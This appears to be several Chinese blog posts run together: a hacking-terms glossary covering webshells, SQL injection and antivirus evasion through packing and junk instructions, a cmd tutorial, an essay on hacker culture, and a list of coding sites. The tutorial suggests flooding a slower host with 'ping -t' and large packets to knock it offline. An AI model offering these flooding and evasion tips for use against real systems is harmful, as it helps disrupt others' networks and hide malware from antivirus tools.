表面上伪装成一般的网页文件，但是把病毒代码直接插入到正常的网页文件中，当有人访问时，网页木马就会执行相应的漏洞代码进行破坏。例如有人访问色情网站，发现cpu很高，实际上里面调用了挖矿的代码，当你访问网站时会利用你的电脑进行挖矿。

挂马

就是在别人的网站文件里面放入网页木马，将恶意代码插入到对方正常的网页文件里，以使阅读者中马，挂马是形容一种操作行为，不是一种技术。

后门

这是一种形象的比方，比如你想下载个腾讯qq，但是在网上下载到不是官方的文件，而是别人先把病毒文件绑定在正常的文件里，当打开时会中毒，通常这种病毒称为后门，因为受害者无法发现。

弱口令

指那些密码强度不够，容易被猜解的密码，类似123456，abc123，abcdefg，woainixiaofeng这样的口令（密码） ，是黑客常见的入侵手段，100个密码就有20个左右是这种弱密码。

shell

指的是一种指令执行环境，比方我们按下键盘上的“windows键+R”时出现“运行”对话框，在里面输入“cmd”会呈现一个可以运行命令的黑窗口，这个窗口大家基本上都用过，或者在黑客电影里看过，这个就是Windows的Shell执行环境。以前没有鼠标只有键盘的时候，就是靠这个完成全部电脑操作的！

WebShell

WebShell就是以asp、php、jsp等网页文件方式存在的一种命令环境，也能够将其称做是一种网页后门。黑客在入侵了一个网站后，一般会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，一般会藏得比较深，因为不能被管理员发现，被删除就不能获得网站控制权了。一个网站被挂上webshell后门，基本上可以为所欲为，想修改网站任何部分或者删除都可以。黑客之间的网站交易就是以webshell进行的，例如我花多少钱买这个网站的webshell权限，而攻击者负责想办法在这个网站里面放上webshell后门，这样说大家应该明白了。

注入

随着B/S结构开发的网站环境，基本上全部的网站都需要数据库。用户能够提交一段数据库查询代码，根据程序回来的结果，获得某些他想要知的数据，这是正常的情况，但是在查询语句中修改为有恶意攻击的代码，就具有破坏性，这个就是所谓的SQL注入，最具攻击性的网页漏洞，让无数企业站被入侵的罪魁祸首。

注入点

是指能够实行sql注入的地方，一般是带有参数的网页地址。根据注入点数据库的帐号权限的不同，你所得到的权限也不同。

内网

通俗的讲就是局域网，比方网吧，校园网，公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话，就说明我们是处于内网之中的：10.0.0.0—10.255.255.255，172.16.0.0—172.31.255.255，192.168.0.0—192.168.255.255。

外网

直接连入internet（互联网），能让任何一台电脑相互访问，外网需要接入宽带才能实现。

免杀

就是通过加壳、加密、修改特征码、加花指令等等操作来改变程序，使其逃过杀毒软件的查杀。我们前面说的远控生成的木马，往往会被杀毒软件发现，不能达到控制电脑的效果，所以需要利用免杀技术来逃避杀毒软件的扫描，让杀毒软件误以为是安全的软件，从而不进行拦截。

加壳

就是运用特别的算法，将exe可执行程序或许DLL动态链接库文件的编码进行改变（比方实现压缩、加密），以到达缩小文件体积和加密程序编码，甚至是躲过杀毒软件查杀的意图。目前较常用的壳有UPX，ASPack、PePack、PECompact、UPack、免疫007等等。 加壳另外一个重要的作用就是防止软件被破解，有攻就有防嘛！

花指令

就是几句汇编指令，让汇编语句进行一些跳转，使得杀毒软件不能正常的判断病毒文件的结构。说通俗点就是”杀毒软件是从头到脚按顺序来查找病毒。如果我们把病毒的头和脚颠倒位置，杀毒软件就找不到病毒了。

路由器
用来上网的设备，以前用宽带线直接连接电脑输入密码就能上网，现在电脑为什么都要连接路由器呢？因为手机需要连接路由器的wifi来上网啊，所以宽带线去连路由器了，电脑没宽带线了，就只能去连接连接路由器了。

端口
要网络上，知道一台电脑的ip地址，仅仅相当于知道了它的居住地址，要和它进行通讯，我们还要知道它开了哪些端口，比方说我们到一家医院，挂号要到1号窗口，划价要到2号窗口，取药要到3号窗口.那么与计算机的通讯也是一样的，要访问小风教程网，你得与小风教程网服务器的80端口进行联系，要ftp登陆空间，传输文件，我们又得服务器的21端口连接了，所以说，端口就是一种数据的传输通道，用于接收某些数据，然后传给相应的回复，而电脑将这些数据处理后，再将相应的回复通过端口传给对方。

ip地址
互联网上的电脑有很多，为了让他们能够彼此识别，互联网上的每一台主机都分配有一个仅有的32位地址，该地址称为ip地址，也称作互联网地址，ip地址由4个数值部分组成，每个数值部分可取值0-255，每个ip地址都有256x256-1=65535个端口。

结语

懂了一些基本用语，相信你会在这条路上越走越远，加油吧！

文献参考

小风教程网

刚入门的黑客，都必须要学会cmd，而cmd并不难理解，只是背诵记忆的较多，学习cmd可以为以后入侵、拿权限奠定坚实的基础。

不过呢，人都是懒惰的我也是，所以，我会尽可能简化去呈现给大家

这样我也可以少打点字

1.ping

它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。

-t

在ping后面输入-t，即

1

ping -t 

作用：不断向目标发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。　　

-l

作用：定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。

-n

作用：定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。

tip：以上可以连用，如：

1

ping IP -t -n 3

我这里写的“IP”和”3”都是参数，自己填写，我只是打个比方

说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如”ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。

实例

这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被ping主机的操作系统，之所以说”初步判断”是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。
（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix）
至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了

2.nbtstat

显示统计数据命令

该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。

-a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息（下同）。 　

-a这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。

-n 列出本地机器的NETBIOS信息。 　

3.netstat

这是一个用来查看网络状态的命令，操作简便功能强大。　

-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息

这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat -a IP。

-r 列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat -r IP。

正在更新ing…

文献参考：

https://zhuanlan.zhihu.com/p/59498577

很多人并不了解黑客是什么，而是将黑客与骇客混为一谈，实际上:

黑客:最早源自英文hacker，早期在美国的电脑界是带有褒义的。他们都是水平高超的电脑专家，尤其是程序设计人员，算是一个统称。

“骇客”也可以指：在信息安全里，“骇客”指研究智取计算机安全系统的人员。利用公共通讯网路，如互联网和电话系统，在未经许可的情况下，载入对方系统的被称为黑帽骇客

白帽子主要以“防”为主，而黑帽子主要以“攻”为主，不论是黑帽还是白帽，都要先学会攻击。

焉知攻，怎知防？

0.2发展史

黑客最早始于20 世纪50年代，最早的计算机1946年在宾夕法尼亚大学出现，而最早的黑客出现于麻省理工学院，贝尔实验室也有。最初的黑客一般都是一些高级的技术人员，他们热衷于挑战、崇尚自由并主张信息的共享。
1994年以来，因特网在全球的迅猛发展为人们提供了方便、自由和无限的财富，政治、军事、经济、科技、教育、文化等各个方面都越来越网络化，并且逐渐成为人们生活、娱乐的一部分。可以说，信息时代已经到来，信息已成为物质和能量以外维持人类社会的第三资源，它是未来生活中的重要介质。随着计算机的普及和因特网技术的迅速发展，黑客也随之出现了。

黑客”一词由英语Hacker英译而来，是指专门研究、发现计算机和网络漏洞的计算机爱好者。他们伴随着计算机和网络的发展而产生成长。黑客对计算机有着狂热的兴趣和执着的追求，他们不断地研究计算机和网络知识，发现计算机和网络中存在的漏洞，喜欢挑战高难度的网络系统并从中找到漏洞，然后向管理员提出解决和修补漏洞的方法。
黑客不干涉政治，不受政治利用，他们的出现推动了计算机和网络的发展与完善。黑客所做的不是恶意破坏，他们是一群纵横驰骋于网络上的大侠，追求共享、免费，提倡自由、平等。黑客的存在是由于计算机技术的不健全，从某种意义上来讲，计算机的安全需要更多黑客去维护。
但是到了今天，黑客一词已被用于泛指那些专门利用计算机搞破坏或恶作剧的家伙，对这些人的正确英文叫法是Cracker，有人也翻译成“骇客”或是“者”，也正是由于者的出现玷污了黑客的声誉，使人们把黑客和**者混为一谈，黑客被人们认为是在网上到处搞破坏的人。
一个黑客即使从意识和技术水平上已达到黑客水平，也决对不会声称自己是一名黑客，因为黑客只有公认的，没有自封的，他们重视技术，更重视思想和品质！

当然，想装逼也可以，但要有真正的技术

0.3 需要什么

很多人都梦想当黑客，但实际上，在互联网安全这条道路上，本无对错，评判的人多了，仿佛有了…

不论你是为了自己还是他人，如果你认为你是一名黑客，那么一定要有一下几点：

• 对算法、程序的痴迷：看到数字、字符会有种亲切感
• 时刻想着自己只是技术领域大海中的一滴水：即便自己有实力，也最好要保留，真正的黑客不只是会追求功名
• 有恒心：大家都知道，黑客所需学习的知识远远大于普通的程序员，如果没有将其当作终生爱好，最好就不要学，因为很难坚持
• 耐下心来，多思考，勤查资料：很多时候我们单凭一己之力很难攻克难题，这个时候可以借助任何工具，要努力突破瓶颈

0.4 推荐语言

python

**java **

php

asp

html/css/javascript

如果有能力，最好还要学精通c/c++

1.0 DAY1 cmd指令

2.0 DAY02 黑客术语

每周都会更新，尽请期待

title: hello
date: 2021-10-07 21:01:43
tags:

title: 学习编程十大优质网站推荐
date: 2021-10-05 17:20:04
tags:教程、技巧

本期分享给大家十个我日常中觉得不错的优质网站

目录：
1.CSDN
2.博客园
3.github
4.菜鸟教程
5.B站
6.开源中国
7.黑基网
8.掘金
9.lintcode
10.本站

1.CSDN

说起CSDN应该很多人都很熟悉，它是蒋涛创立的“中国程序员大本营”

里面有很多优质栏目，
平时我遇到不懂的东西会从里面查找答案
csdn传送门

2.博客园

博客园里的博客数不胜数，论技术就看这个网站，比较全面

UI界面也比较好看
博客园传送门

3.github

这个网站不用我多说，全球最大开源平台，托管git，功能十分强大
就是经常访问不进去，有时要配置映射文件

我的这个网站也是在github上申请的
http://github.com

4.菜鸟教程

力推！！！不止我一个人觉得这不是给菜鸟看的
里面覆盖了百分之九十你想学的编程语言及计算机知识

http://runoob.com

5.b站（bilibili）

这个不多说，休闲学习兼备

http://bilibili.com

6.开源中国（oschina）

技术应有尽有

http://oschina.net

###7.黑基网
学习安全攻防，做一个正直的白帽黑客

http://hackbase.net

8.掘金

又是一个干净漂亮的好网站

http://juejin.cn

9.linkcode

算法爱好者的天堂

https://www.lintcode.com/

10.小破站（本站）

希望大家多多支持本站，下期再见哦qwq